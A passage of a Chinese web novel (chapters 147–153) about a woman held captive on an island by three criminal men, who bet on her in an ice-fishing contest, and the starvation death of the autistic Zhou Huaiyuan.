小七警惕地看着秋榕榕,“我不会透露几位老板的行踪,你别随便向我打听这些事情,你所说的每一句话,我都会一字不差汇报给老板。”
他还是有职业素养的。
“你不说我就不问了,今天这种小事情你别回头去打小报告。”
秋榕榕看着碗旁边放着的旋转魔方,她想求沈砚川帮忙将这个魔方复原。
“小七,你会玩魔方吗?”
小七摇摇头,他以前是孤儿,饭都吃不饱,从来没接触过这些玩具。
秋榕榕只是试探性问着,没有抱多大希望。
她站起身。
“我回房间了,周景行和沈砚川,他们其中任何一个回来,你过来通知我一下。”秋榕榕顿了一下,“算了,江无渡回来也告诉我,我好躲着他。”
小七深棕色的眼珠子转了转,他一只手端起碗,把剩下的汤喝掉,然后擦了擦唇角,凑到秋榕榕身边,想要扶她的手。
“那夫人,我送你回房间。”
第148章 老师
秋榕榕有些嫌弃地说道:“我回房间休息,你跟着我做什么?”
“当然是保护夫人。”
如果给他后面安一只黑尾巴,他应该可以摇起来。
“这岛上没有其他人。”
小七寸步不让,“也顺便防止夫人逃跑。”
秋榕榕无奈道:“小七,你不用盯这么紧,我没翅膀能往天上飞,也没鱼尾巴可以渡海,身上五颗微型**分别对应脖子和四肢,卫星远程操控,想走也走不了。”
秋榕榕已经摸清岛上的地形。
想要离开,需要坐那种动力足够的船,或者乘坐直升飞机。
坐直升飞机这条路行不通。
坐船的话需要混进岛上日常工作人员的队伍里。
想进行到这一步,需要先把脖子上的微型**拆掉。
她试过了。
周景行软硬不吃,她寻找不到方法,只能做他的囚徒。
小七好奇地问道:“像你这样的女人有几个?她们都想逃走吗?”
“我不知道,我不了解他。”
“总不能只有夫人一个吧?”小七觉得美人像黄金一样,越有权势,拥有的就会越多。
他不信周景行只有秋榕榕一个女人。
但跟随周景行这段时间,小七也确实没有看见周景行接触除了客户的其他女人。
“谁知道呢。”
秋榕榕并不知道周景行在外面做什么。
当年谈恋爱的时候,他的手机对她公开。
没有暧昧对象。
只要不出差就会准时回家,去了外地也会报备。
无论真假,他扮演男友的时候极为称职。
但那些都是假象。
秋榕榕并不了解真正的周景行。
“夫人,我晚上是守在外面的,不怪我听墙角,是你叫得太大声。”小七也不觉得害臊,他黑棕色的皮肤瞧不出脸红,“周总天天晚上陪着你,你要是不知道,就没人知道了。”
“你觉得他和我在一起,是对我有感情?”
“不是吗?”小七不懂。
秋榕榕摇头:“不是。”
有感情应该心意相通。
秋榕榕赤身裸体地躺在周景行的身边,按道理来说,他们应该是最亲密无间的关系,但秋榕榕对周景行的内心一无所知。
她被逼无奈,才在众多死路中选择了一条可能的生路。她熟悉每一种姿势,知道长度,喜爱的角度,还有时间,但知道这些又如何呢?
连一阵枕边风都吹不起。
夜晚铺满玫瑰和荆棘,时而温热缠绵,时而鲜血淋漓。
她躺在他的怀里,像躺在一只不透明的玻璃盒子里,睁开眼睛看得见月亮,看不见出口。
也不知何时是尽头。
小七是孤儿,无国籍无身份,名字是因为在那批孩子里排名第七,所以才叫小七。
他的姓氏跟随买他的那个人。
这是他第二次被贩卖。
第一次是因为吃不饱饭被带到船上。
第二次是因为跟的买主**,他主动上出来为自己找一个新的买主。
习惯是很强大的力量。
小七在三十岁之前不想自由。
为别人卖命就是他习惯的生活。
等到三十以后,他的身体没有鼎盛时期那么灵活,就带着自己的钱去渡渡群岛,买个新身份,过闲适的退休生活。
在此之前,如果老板能够奖励给他一个老婆那就更好不过。
小七上一次跟的老板,也是有权有势的人,身边的情人一个比一个更漂亮。
他很羡慕。
他也想住大房子,有一对兄弟跟在自己的身后,有无数美女靠他怀里给他点烟。
原本老板看他办事麻利,把一位美丽的情人送给他,他爱不释手,结果那个女人刚来,婚礼还没来得及,就因为**过量**,他哭了好多天。
小七希望下一个遇见的,能活得久一些。
周景行的房间里有画板,而沈砚川有单独的书房,书架里摆放着一些小说,秋榕榕可以随时取阅。
秋榕榕没有手机,岛屿上的电视频道有限,整天就那几个频道循环播放,秋榕榕已经看腻。
小七寸步不离地跟着他。
秋榕榕回房间后原本想补一觉,但小七总是和她说话,睡不安稳,便起身前往书房。
沈砚川的书房,秋榕榕正准备从书架上挑一本书。
小七的门口
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轻轻咳了一声。
秋榕榕这才发现,沈砚川不知何时已经走了进来。
“有找到你需要的吗?”沈砚川话里有刺。
他以为秋榕榕在书房里翻找他们犯罪的证据。
秋榕榕平和地说道:“我找本小说看看。”
沈砚川目光审视,从书架上拿出那本有些旧的《蛇结》放在她面前的桌子上,“这本不错,你可以用来打发时间。”
她随便翻开其中一页,就能感受到森冷的文字顺着手背像蛇一样攀附她的胳膊。
她立刻抽回手。
“不看这种文学恨品,我喜欢治愈的。”秋榕榕挑了本已经看过千百遍的《小王子》,亲了亲书本的封面,绕过沈砚川离开。
沈砚川站在原地,突然说道:“以后有喜欢的书可以告诉我,我从岛外给你带过来。”
他忽然对她好,不再是漠不关心的态度,秋榕榕有些意外。
她诧异地回头看他,他和平常并无二致。
他们三人里,沈砚川会尽量和秋榕榕保持距离,他是他们三人中防备心最强的。
周景行自信,他觉得秋榕榕逃不出他的手掌心,所以多有纵容。
江无渡是个全凭自己喜好的疯子,他想亲近秋榕榕,把她当成自己的新兔子养起来,但秋榕榕躲着他。
唯独沈砚川和秋榕榕相处时,保持客气,除非有必要或者受人之托,否则沈砚川尽量少和她相处。
沈砚川觉得秋榕榕危险。
一个手无缚鸡之力,很容易杀死的人,却被留在最后,本身就是危险。
再加上,秋榕榕根本就不是秋家的女儿。
对于这种事,沈砚川没有太大的心理负担,他单纯觉得麻烦,但周景行又说想留秋榕榕,作为同伴,他在表面上就不能做得太难看。
沈砚川准备把他们的关系,推回到大学四年期间的相处状态。
秋榕榕知道,他这话,是给她台阶下。
于是秋榕榕立刻拿出斜转魔方,笑着说道:“学长,你能教教我,如何把这个魔方解开吗?”
沈砚川靠在书桌边,推了一下鼻梁上的银框半边眼镜,一本正经地说道:“叫老师。”
第149章 戒尺
沈砚川那双修长白皙的手指,在桌面边缘停顿片刻,随后缓缓探入木质抽屉,取出一把乌木戒尺。
他垂眼,用戒尺拍打着自己的掌心,一下一下,声响清脆。
唇角弯出一点弧度,像是笑,却没有温度。
“我可是很严厉的。”
秋榕榕心里腹诽。
嗯,假正经。
她又想起多年前的场景。
那时沈砚川给她补习。
他是天赋型的学霸,眼里没有不会这个概念。
那些在她看来如同迷宫般复杂的大难题,在他嘴里轻描淡写,转个弯就该懂。
她常常看题看到烦躁,忍不住咬笔帽,被他一把夺下。
“别养成吃笔的坏习惯。”
沈砚川总是皱着眉纠正她的这些错误小习惯。
他会用小尺子打她的手。
那时不知他真面目,秋榕榕看着红起来的手,会气鼓鼓地打回去。
“体罚学生是不对的。”
沈砚川没想到,她看起来温顺懂礼数,说话都轻声细语,被尺子多打了几下,竟然敢还手。
她还会把尺子藏起来,问她,她说不知道。
明明脸上的表情心虚得不得了,她咬死不说。
问急了。
她就说他没耐心,不是好老师。
沈砚川揉着太阳穴,说她是笨学生,不给她补习。
秋榕榕那时候哪敢真闹掰。
出去随便找个补习班,一个小时都需要四五百。
秋榕榕想考上研究生,为了省补课费,她得回过头把沈砚川哄好。
周家有钱,但秋榕榕只是寄住在他们家里的穷学生,每个月给她五千对周家而言少得可怜,但是对于受资助的她来说,已经是很不错的待遇。
秋榕榕没有盯着别人口袋里钱袋子看的习惯。
所以给沈砚川送礼,她用的是自己存的打零工的钱。
眼前的一幕与过去何其相似。
只是当年,秋榕榕是和他闹着玩的,看见戒尺,没有畏惧的心思,还敢把尺子从他手中夺走。
而今再见这个比往年大很多倍的木质尺子,秋榕榕心里有些发怵。
他认真教她如何玩旋转魔方。
指节分明的手一边演示,一边轻声讲解。
秋榕榕打起十二分精神。
她问得仔细,连一点听不明白的歧义都要拿出来反复确认。
沈砚川耐心讲解完之后,将那道色彩斑斓的小方块轻轻搁在书桌上。
他语气淡淡地问:“你什么时候对魔方这么感兴趣了?”
“我没有手机玩。”
秋榕榕抱怨地白了他一眼,重新打乱魔方,又一格一格地试着复原。
“你们自己整天机不离手,连吃饭都在接工作电话,却来问我为什么玩魔方?”
沈砚川语气平稳:“你拿到手机,会对外界求救。”
秋榕榕现在已经摸到一些复原魔方的诀窍。
她打了个哈欠,耸耸肩说道:“就知道你们那么想,我才给自己找点事情做。
总不能整天躺在床上,闭眼睡觉吧。
不培养点兴趣爱好,我怕自己会疯。”
沈砚川也认为确实如此,他教秋榕榕教得更加耐心。
“手心,伸出来。”
秋榕榕一顿,怯怯地看了戒尺一眼,小声求饶:“事不过三,这才是第二次,能不能通融一下?”
她又不是天才,怎么可能一次就学会。
今天犯的错误已经很少了。
沈砚川却没给她讨价还价的余地。
他强硬地扣住她的手腕,将她的手心摊开,语气沉冷,没有温度:“不敲你一下,不长记性,同样的问题犯第二次错误,就得惩罚。”
“那你轻点,意思一下就行了。”
“放心,我下手很轻。”
“啪”的一声,戒尺毫不留情地落下,声音脆响,在这安静的书房里尤其刺耳。
沈砚川的呼吸快了一拍。
秋榕榕身子一震,唇瓣微颤,却强忍着没有叫出声。
真疼。
死骗子,下手这么重。
痛感让她脑袋清醒。
她知道这个魔方如何解开了。
就在此时,房门“咔哒”一声被人推开。
周景行站在门口,小七就跟在他的身后。
他刚结束一场冗长乏味的会议,回来后准备带秋榕榕去冰钓
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。
回房间没找到秋榕榕的人,进书房后就看见这一幕。
屋内空气凝固。
周景行看着沈砚川紧紧握住秋榕榕的手,沉默片刻,问道:“你们在玩什么?”
小七兴奋得像是来捉奸。
要是捉奸成功,老板说不定就会因为生气把这个女人给他。
他习惯捡别人剩的。
沈砚川松了手,不动声色地将戒尺收回桌边,冷静如常,“她让我教她玩魔方,屡次出错,作为老师,打一下学生的手心,略施薄惩而已。”
不是屡次,是只有两次。
秋榕榕抓着魔方站起身,跑到周景行身边,说道:“我已经可以解开这个魔方了,我演示给你看。”
她将魔方打乱,正准备复原。
只要把魔方复原,就可以把周淮远从地下室里接出来。
在他们眼中魔方只是游戏,在秋榕榕眼里却关系着人的性命。
周景行将秋榕榕解了一半的魔方拿出来,扔到一边。
“我还没弄完。”
“算你解开了。”
秋榕榕压了压唇角。
他是这样,沈砚川也是这样。
他们一句话就可以决定别人的性命,自己定下的游戏,也可以随便改变规则。
只有她,会为了一句话,尽心尽力地想办法。
现在,周景行说不需要,刚才秋榕榕学的解法,都变成无用功。
“手心疼不疼?”周景行握住她的手,温柔地吹了吹掌心,力道十足地握住她手腕不放,眸色深深,“想学的话可以来找我,我也能教你。”
“你给的魔方,我怎么好意思再找你要解法?”
这里的氛围有些怪,小七在旁边很着急的样子,沈砚川似乎有些不爽,而周景行看似温柔,实则强势地宣告**。
他虽然是在对秋榕榕说话,眼神确实盯着沈砚川,“至少,我不体罚学生。”
沈砚川对上周景行警告的双眸,自觉无趣。
“你们好好玩吧。”沈砚川离开书房。
秋榕榕看着沈砚川离开的背影。
他们几个人这几天都不对劲。
肯定有什么事情发生了。
第150章 裂隙
江无渡的玻璃酒柜里收藏着卡麦伦红系列的威士忌,拍卖级别的,口感顺滑,醇香浓郁。
沈砚川推门而入时,江无渡正用指节敲击酒杯,他坐在阴暗的地下室里,头发半干,刚刚洗过澡,正准备喝点酒。
江无渡抬眼,眼神里没有温度,“你也被周景行撵出来了?”
“别说了。”沈砚川脱下外套搭在椅子靠背上,地下室暖气充足,他的眼镜片上泛起雾气,“看样子是铁了心要留她,不许我接近。”
“你就不该查下去。”江无渡仰头喝了一口酒,喉结滑动,“那个孩子掉了后,周景行就动过彻底留下兔兔的心思,现在兔兔不是秋家的亲生女儿,他肯定对她心生怜爱,更舍不得放手。”
“他没准备告诉秋榕榕真相。”沈砚川也给自己添了一杯酒,“阿行要是养个对我们过去一无所知的女人就算了,秋榕榕知道的太多,她活得越久,越会变成定时**。”
“啧,人证,完美的受害者。”江无渡笑了,“你做了什么?他把你也赶下来。”
“不过是用尺子敲了她一下。”沈砚川平静地说:“掌心,轻得很。”
说这话时,沈砚川修长的手在空中虚点了一下,声音藏不住细微的愉悦。
他有点喜欢和秋榕榕玩老师和学生的游戏。
“结果呢?”江无渡轻轻抚摸着水晶酒杯的边缘,看着棕色晃动的酒液,歪着头笑,“兔兔告你黑状了?”
“没,她不敢。”沈砚川回想起周景行看他时,像刀子浸泡在冰水里的眼神,冷笑一声,“就是阿行看了我一眼,你知道他那种眼神,就像我背着他搞他女人一样。”
江无渡低低笑起来,“兔子是他的,谁碰都不行。最近他还派了小七寸步不离地跟着,看得很紧。”
小七还是沈砚川给周景行的。
沈砚川眉头一挑,低头添酒,“我们就任由他这样?”
江无渡眼底浮现一抹幽光,他慢慢地说:“兔兔牙齿白,眼神怯,骨头酥软,你不喜欢?”
沈砚川没说话。
他想起秋榕榕那双眼,无数次被沉入黑暗中,却又有着一丝怎么都无法熄灭的光。
沈砚川顿了一下,摘下眼镜,用眼镜轻擦了一下镜片,“我没兴趣。”
江无渡有些怀念周景行不在岛上的那段时间,他将最后一口酒一饮而尽,“那你……不够诚实。”
沈砚川重新戴上眼镜,“我从不说谎。”
这句话,就是谎言。
秋榕榕穿上自己最厚的白色羽绒服,帽檐缀着一圈柔软的兔毛。
她把自己裹得严严实实,脸蛋因为寒风微微泛红。
大冬天,偏要拉她出来冰钓。
秋榕榕心里直叹气。
周景行站在她身侧,微微俯身动作熟练地替她把红围巾打了个不紧不松的结。
“风大,近海已经结冰,你应该会喜欢的。”他嗓音清洌温柔。
秋榕榕仰头看他,眸子被风吹得湿润润的,嘴里哈着热气,“万一踩空了咋办?”
周景行弯了弯眼角,“我们不去海边,就在岛上的湖里钓,那里的冰层已经结得很厚,不会掉下去。”
他弯腰从冰钓桶里拿出两个保温杯,把其中一个递给她,“热牛奶,不加糖,冷的话喝点暖胃。”
以前谈恋爱的时候,周景行经常会安排户外活动。
他们约会时,从来不需要秋榕榕操心。
周景行会安排好全程的计划,她精心制造小浪漫,带她去体验她以前从未经历过的新奇事物。
这次冰钓,是他在秋榕榕毕业之前承诺过的。
经历这么多以后,秋榕榕也没想过他会兑现。
他们起始于欺骗,周景行布下天罗地网,她因他的围猎坠入深不见底的泥潭,所有人都拽着她的脚踝,想要把她往下拉。
她肺里憋着最后一口生气,没人给她递出浮木,她在粘稠冰冷的泥潭里,只靠着自己往上游。
现在她找到了一个漂浮的姿势,既无法上岸,又不会被彻底拽下去。
再来**,实在
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是没有必要。
湖面上铺着厚厚的冰,四周是静谧的松树林,风穿过枝丫,雪簌簌落下。
周景行在湖边雪地搭好帐篷,把秋榕榕领进去,再在她坐下的地方铺上厚毯。
“你之前在电视上看荒野求生,不是说过也想试试看冰钓吗?”
“我那只是说着玩的。”秋榕榕才不愿意在冷天拿着钓竿坐在冰面上,她捧着热牛奶,“你钓,我在旁边看着,也算我参与其中了。”
周景行调整钓竿,冰面上的洞已经提前打好。
“你最近变懒了。”
周景行不怎么在家,却知道秋榕榕最近不太运动。
看来,小七事无巨细地向他汇报。
秋榕榕抱着手臂,缩了缩肩膀,打了个呵欠,懒洋洋地回道:“我最近悟出个道理。”
“对于我这种身体差,气血虚的人而言,不适合过度运动,适合休养生息。”
“千年王八万年龟,他们一动不动,低耗能,所以才活到那么久。”
周景行将鱼饵抛入冰洞,水面漾出一圈涟漪,“这歪理是谁教你的?沈砚川吗?”
“不是啊,他今天才回来。”
“以后和他们都保持距离。”
秋榕榕有点怀疑他们三个之间闹矛盾了,但是又不太敢确定。
他们三人虽然都没有杀她,但对她的态度也不明朗。
她没那么自恋到认为自己可以挑起他们三个人之间的矛盾。
同时也担心,他们的矛盾若是因她而起,那么,比起解决彼此,他们解决掉她,才是最简单的。
此时,江无渡与沈砚川携着钓具缓步走来。
江无渡扬了扬手里的鱼竿,嘴角缓缓勾起一个弧度,笑意却没有渗入眼底,“陪小兔兔冰钓呢?千万要小心,兔子蹬起人来可疼了,小心掉进冰冻里。”
沈砚川站在一旁,镜片下的目光暗了暗,“阿行,一起吧,我们兄弟三个很久没有一起钓鱼了。”
秋榕榕往帐篷里缩了缩。
他们之间有**味。
第151章 打赌
秋榕榕不是秋家亲生女儿,他们默契地都没有告诉秋榕榕真相。
他们是恶人,是小人,也是聪明人。
他们能看得出来秋榕榕的恐惧。
恐惧让她变得乖顺,也让他们觉得省事。
这对秋榕榕不公平。
但那又如何呢?
好人才会讲道理,说公平,谈道德。
坏人不会。
没有愧疚,也没有同理心。
他们只会做出那个最合自己心意的选项。
秋榕榕躲在帐篷里,保温杯打开后热牛奶很快就凉下来,她喝到一半的时候重新盖上杯盖,安安静静地看着他们钓鱼。
沈砚川架起钓鱼架,在钓鱼前先发表他的高谈阔论。
“这冰钓的位置和时间都不好,冰洞要开在避风向阳处,时间要选在鱼群最活跃的早晨或者傍晚,此处不避风,时间又是下午,就算有蚯蚓活饵,也不好钓。”
负责凿冰洞的小七听到老板对自己工作不满意,瑟瑟发抖。
他贪财,老板的满意程度关系到他的奖金。
江无渡找个位置坐下来,看似随意地说道:“那就比比看,谁钓的鱼多。”
沈砚川笑容极浅,话虽然是对江无渡说的,眼神却落在周景行的身上,看他的反应。
“既然比赛,没有彩头怎么行?”
江无渡眼睛黑得像墨,他状似无意地说道:“那就用兔兔做赌注,赢家获得兔兔三天使用权,景行,你没意见吧?”
周景行还未发表看法,沈砚川就迅速接话,“阿行当然不会有意见。”
是代为回答,也是在提醒。
他们打配合,这一番话说下来压根就没有给周景行选择的余地。
周景行的脸上没什么表情,他睫毛低垂,专注于手上的钓竿,很快就有鱼上钩的迹象。
浮漂忽然轻轻一颤,接着猛地一沉。
水面泛起细碎的水花,一道银影在水下挣扎着扑腾,鱼线紧绷,周景行开始收竿,紧接着鱼被从水里拉出来,翻涌着银白腹部,最终落在冰面上。
“可以啊。”周景行的眼神温柔又致命,嘴角微翘,笑容里不带温度,“赌三天没意思,赌生死吧,我输了,就杀了她,让你们安心。”
沈砚川和江无渡对视一眼,变了脸色。
秋榕榕是周景行的人质。
**自己的人质,他们之间都是默认允许的,只不过,他们一开始认为,出国之前,周景行会要秋榕榕的性命。
是周景行出于个人喜好,把秋榕榕一留再留。
再加上最近,因为秋榕榕的身世揭秘,让周景行对秋榕榕保护的态度更加明显。
是沈砚川想出这个钓鱼打赌的主意,委婉地提醒周景行,他该给他们一个交代。
对于是否杀死秋榕榕,他们其实都有私心。
喜爱是危险的。
沈砚川和江无渡都希望,周景行能把秋榕榕放在玩物的位置上。
那对他们三人而言,都更安全。
秋榕榕躺卧在帐篷里翘着脚,偶尔抬眼看一眼那群人在冰洞边甩杆钓鱼,结果听到他们所说的话,顶着被揉乱的头发一个翻身坐起来。
他们是怎么聊着聊着,从钓鱼聊到把她弄死的?
明明她躲在帐篷里都不冒头。
刚才的**味果然不是错觉。
他们三个人因为她闹矛盾了。
秋榕榕很想说,如果他们有矛盾的话,就自己内部解决,不要来解决她啊,她已经尽量低调了!
“不要兔兔的命,你要是输了,我们共享兔兔。”江无渡似笑非笑,“你收回你对她的特殊,我们也都玩得开心。”
沈砚川调试鱼竿,收敛起自己脸上异样的表情,“我赞同。”
“我输了就退出。”周景行没有和别人共享的习惯,他参加赌局,又不给结果留余地。
约定达成后,刚才紧绷的氛围才缓和下来。
冬天的鱼都会尽量沉在水底,可总有那么几只,贪图鱼饵的香甜,被铁钩子穿透嘴巴,钓到冰面上。
小七狗腿得在旁边帮忙捞鱼,他掂量了手中的鱼,惊奇地说道:“周总这鱼个头大,有二三十斤重。”
江无渡也钓了一条上来,小七忙活着把鱼捞进桶里。
“晚上烤着吃。”江无渡看着在狭小的红桶里扑腾的鱼,脑海里是把鱼开膛破肚的场景。
小七一边打下手,一边谄媚地说道:“我会烤鱼,老板们交给我,我保证把鱼烤得又焦又入味!”
唯独
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沈砚川是空军,钓到现在一条鱼儿都没有上钩。
明明是三个距离不远的冰洞,偏偏他这个洞不上鱼。
沈砚川哈了一口白气,指挥小七换地方重新凿冰洞。
他也想赢。
打赌的时间为一个小时。
秋榕榕从他们打赌之后,就没法再安然地躺在帐篷里,她不敢干扰周景行,想给江无渡添堵,又被小七拦下来。
他兴致勃勃地问道:“夫人,你希望他们谁赢?”
“我希望他们平局。”
“啥?你想跟三个?夫人你胃口真好。”
“我的意思是,以和为贵,他们三人是多年至交,我不希望他们因为我而闹矛盾。”秋榕榕皱眉看他,“你不许再胡乱说这些东西。”
她真不明白,小七小小年纪,脑袋里到底装着什么垃圾废料,能说出这样的话。
“夫人,你可真是难得的好人,这么好心肠,真适合娶回家当老婆。”小七当了真,越发觉得秋榕榕柔美得像月光下的白瓷。
他希望老板可以把她送给他当老婆。
秋榕榕却觉得小七说的话像是在骂她。
她嘴上这么说,是因为小七什么话都会汇报。
她心里真正想的是,他们三个打成平局,分不出胜负,就重开一局再钓一小时,再平局,再钓,这三个该死的浑蛋拿她寻开心,真该冻死他们丫的!
一个小时很快过去。
秋榕榕焦灼的心被提到最高点。
周景行收起鱼竿,“这鱼肉质鲜嫩不适合烤,不如把鱼头切下来炖汤。”
他们几人,就数秋榕榕和周景行的口味最清淡。
“兔兔喜欢吃鱼头炖豆腐。”江无渡眼神阴沉沉地瞟了一眼帐篷里伸着脖子朝外张望的秋榕榕,“就不知道,她是否能吃得上了。”
而一只鱼都没有钓上来的沈砚川很郁闷。
秋榕榕如果归周景行,晚上就吃清炖的。
如果归江无渡,就吃烤鱼。
跟他吃空气。
哦不,秋榕榕不会吃空气,因为沈砚川输得太明显,她不归他。
周景行说道:“点数吧。”
点数的工作由小七来做。
他把鱼从桶里倒到冰面上。
开始数。
第152章 膏肓
周景行钓了七条,江无渡钓了五条,而沈砚川是零条。
秋榕榕松了好大一口气。
江无渡隔很远,就听见秋榕榕的大喘气,他踢了一下冰面上的鱼,冷冷的说着:“看来,连水里的鱼都更喜欢你一点。”
“愿赌服输。”周景行小时,经常跟随过父母冰钓,父母死后,他也保留下这个习惯。
所以,在听到江无渡和沈砚川要以钓鱼的数量打赌时,他很干脆地应了下来。
反正他不会输。
“当然。”江无渡会遵守承诺。
周景行回到帐篷里,帮秋榕榕把羽绒服帽子整理好,在她耳边亲昵地说道:“听到你刚才的叹息声了。”
“啊?”秋榕榕抬着头。
周景行点头,刮了一下她冻得通红的小鼻子,微微上扬的语调透露着愉快,“对,就是这么明显。”
“走,回去让厨师把鱼炖汤。”
周景行喜欢雪天和寒冷的季节,大雪落下会将一切污垢覆盖,只留下表层的干净。
他牵着秋榕榕离开,秋榕榕回过头,正好看见沈砚川摘下眼镜,把装鱼的红色空塑料桶一脚踢开。
江无渡拍了拍沈砚川的肩膀,和他说了几句,两人的脸色都不好看。
周景行的手穿过她后脑勺柔软的头发,将她的头转过来,不允许她回头看,“别管他们。”
“我的存在是不是让你为难了?”秋榕榕嘴上说的是体贴的话,心里想的却是他们三个最好打起来。
“嗯,很为难。”
“……”秋榕榕差点没绷住。
“但这不是你需要操心的事情。”
周景行从不认为秋榕榕身上有选择权。
她归谁,能活多久,是好过,还是不好过,都取决于他们。
秋榕榕只能被动地接受。
晚上,喝完鱼汤后,秋榕榕先一步回房间休息。
周景行还没来,白天冰钓的事情,她在现场没有想清楚。
现在夜深人静,躺在床上,秋榕榕在脑海里慢慢理白天发生的事情。
周景行提出带她去冰钓,是为了兑现大四下半年的承诺,他这两天上床时,哪怕在兴头上,也不会再像之前那样提起当年的大火,说她罪无可恕。
杀意比之前少很多。
这种情况,有点像周景行要放下过去的仇恨。
这对秋榕榕而言,是好消息。
而沈砚川和江无渡,明面上是想通过冰钓打赌,把她从周景行这里要过去,实际上,还是不肯放过她。
与其说是对她感兴趣,不如说是矫正周景行对她和善的这个行为。
他们还是危险的。
秋榕榕要和他们保持距离。
第二天。
秋榕榕去探望从地下室里被放出来的周淮远。
他已经瘦到连米粥都喝不下去两口。
佣人为他洗了澡,剪了头发,背后的伤,也缠上绷带。
但周淮远变得病殃殃地,整个人瘦得可怕,肩胛像是要刺破皮肉凸出来。
秋榕榕坐在他床边,轻声唤他,他也没有回应。
“把碗给我,我来喂吧。”秋榕榕朝站在一旁的佣人伸手,接过那碗温热的小米粥。
她舀起一勺,轻轻吹凉,再送到他唇边。
他机械地张开嘴,却迟迟咽不下去。
粥含在嘴里,慢慢溢了出来,从唇角滑落,沾湿了衣襟。
“你不吃饭,光吊葡萄糖的话,胃会萎缩的。”
秋榕榕把粥碗放在膝上,抽出纸巾,动作小心地替他擦拭唇角。
“再坚持一下,好不好?他们最近逼得没有那么紧,我们还是有机会活着离开的。”秋榕榕声音轻得几不可闻,“淮远哥,你别怕,把身体养好,我会带你一起走。”
秋榕榕不会像周淮远的爸爸妈妈一样,抛弃他。
就算没机会带周淮远一起走,秋榕榕也会出去找救援,回来救他。
周淮远没有回应,他的胸口微弱地起伏着,像风干的枯木,勉强躺在床上用葡萄糖吊着最后一口气。<
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br>“我知道,有些话你能听得懂,我刚来的时候你想撵我走,后来也是你让我提前得知周景行的真面目。”
“你不笨,也不是累赘,你妈妈的愤怒和悲剧不是你的错,是她自己没有想清楚自己想要的到底是什么。”
“你不是自己想生病的,不要怪罪自己,你要好好的,等我们一起逃出去之后,我把你当我亲哥照顾你,不要佣人,就咱们两个一起过。”
秋榕榕抬手替他理了理被子,目光柔和,心里隐隐泛着钝痛。
周淮远把自己彻底封闭在没有痛苦的小世界里。
他再也没有回应她。
周淮远是在从地下室出来的一个月后把自己活活饿死的。
在此期间,秋榕榕每天都去探望他,和他说说话,希望他能好起来。
她甚至求周景行请心理医生替他治疗。
但是药物治疗和心理治疗都没有作用。
周淮远在周红霞离开之后,身体迅速地衰败下去。
他已经病入膏肓,失去了求生的意志。
周淮远死在一个寒冷的冬季,死前,他自己拔掉针管,回光返照,朝着天花板喊了一声“妹妹”,也不知喊的是秋榕榕,还是她真正失去的那个妹妹。
死的时候,周淮远只剩下七十斤。
也是在那天凌晨,秋榕榕在噩梦里看见已经恢复健康的周淮远冲她挥挥手。
他在梦里牵着另外一个女孩的手对她说:“妹妹,我要带着妹妹一起走了,你一个人也要坚持下去。”
秋榕榕从噩梦里惊醒,推开旁边的周景行跑到周淮远的房间,才发现他已经断了气。
“医生,他心脏骤停了,哥,快叫医生!”
“他已经**。”周景行想,他的痛苦结束。
“你们……你们……”
偏要把所有人害死才甘心!
哪怕他是自闭症,哪怕他一无所有,也要他死!也要把他逼到死!
气急攻心,秋榕榕温热的鼻血滴在手背上。
第153章 人证
周淮远的一生极为悲惨。
他悲剧的源头是他的父母。
但周叔叔和周阿姨的悲剧源头又是什么呢?
也是出生吗?
还是循环往复,世人皆苦。
周阿姨和周叔叔都是心高气傲的人,他们开始也是年轻气盛,敢选择爱情,觉得自己有本事,就算白手起家也能登高位。
一个拒绝嫁豪门,一个放弃入赘白富美。
周叔叔甚至在求婚的时候,放出三年内一定发达的豪言壮语。
他好自信,又好天真,觉得自己走正途就能够在三年积累到别人三代人的财富。
简直痴人说梦。
少年之气,赤子之心,终有被磨灭的时候,年少时,觉得自己才华出众,在一个班里站到前面,就觉得出了社会也能排前名。
父母一句聪明,老师一句有前途,便当了真。
周叔叔心里想的是建功立业,简历一封一封投出去,才发现外面,像自己这样的人何其多。
穿着同样的工装,坐在相似的位置。
随着时间过去,碌碌无为,才发现自己只是普通大众的一员。
周叔叔越来越不甘心,直到有了孩子,又有了新的希望。
自己混得不好,就会把希望寄托在下一代的身上。
他想自己的孩子,会继承自己的智商,聪明绝顶,信誓旦旦要把自己的孩子教育成人杰。
到最后,却没想到生下连普通人都不如的儿子。
有自闭症,是个傻子。
周叔叔觉得自己的人生糟透了。
周红霞对自己不正常的儿子,从爱到恨。
她恨得如此惨烈,也只是因为当年她深深的爱着自己的孩子。
为了治好他的病,不惜去**放火。
然而再多的钱,也治不好周淮远的自闭症。
周红霞一次又一次的失望,这些失望变成了浓烈的恨意。
她恨自己的儿子有病。
恨周淮远不争气,不能被治愈。
她的心逐渐地扭曲。
周红霞不能再面对周淮远,因为周淮远是她人生失败的象征。
周淮远有严重的自闭症。
有时会尖叫砸东西。
他不想这样。
但他生病了。
周淮远还是能够感知到别人对他的善意和恶意。
他记得母亲温暖的怀抱和眼泪。
也记得在爸爸妈妈厌弃他的那段时间,一直陪在自己身边的妹妹。
后来妹妹失踪,爸爸妈妈又不回家。
他的家里住进来另外一个人。
那人像寄生虫一样,附着在他的家里,神出鬼没。
爸爸妈妈只要一回来,那人就会消失。
爸爸妈妈离开,那人就会出现。
他听见了墙壁和地板里传来奇怪的声音,像是爬虫一样,密密麻麻地填满墙壁。
周淮远恐惧,却没办法呼救。
他的爸爸妈妈已经很久不回家。
他们早就不愿意好好听他说话。
也不知道从什么时候开始,唯一照顾他的妹妹消失了。
老护工也不见,变成新的护工。
很凶。
会喂他吃炖烂的酸肉。
周淮远很害怕。
直到那天,周叔叔把秋榕榕带回来,他匆匆而来,又匆匆而走,留下一个新的妹妹。
周淮远担心这个妹妹也会像之前的妹妹一样消失。
他想把她赶走。
想告诉她屋子里有**的虫子。
但秋榕榕听不懂,她住了下来,和另一个陌生人一起,住在他的房子里。
周淮远很喜欢秋榕榕,她愿意给他做饭,饭里没有难吃的酸肉,还会陪他打游戏,和他说说话。
久而久之,他也希望她留下。
他不想做手术,但是坏人抽走了他的脂肪,切掉了他的胃。
后来变瘦了,周淮远因为秋榕榕的照顾,病情稍微减轻,逐渐想起过去的事情。
他被蒙了一层纱的脑袋忽然意识到自己当年吃的酸肉是什么东西。
他就再也吃不下肉。
秋榕榕在岛上陪伴着他,他那时勉强还能吃下一些素菜。
她哄着他,身上的味道香香的。
和秋榕榕在一起,周淮远胃口会好一些。
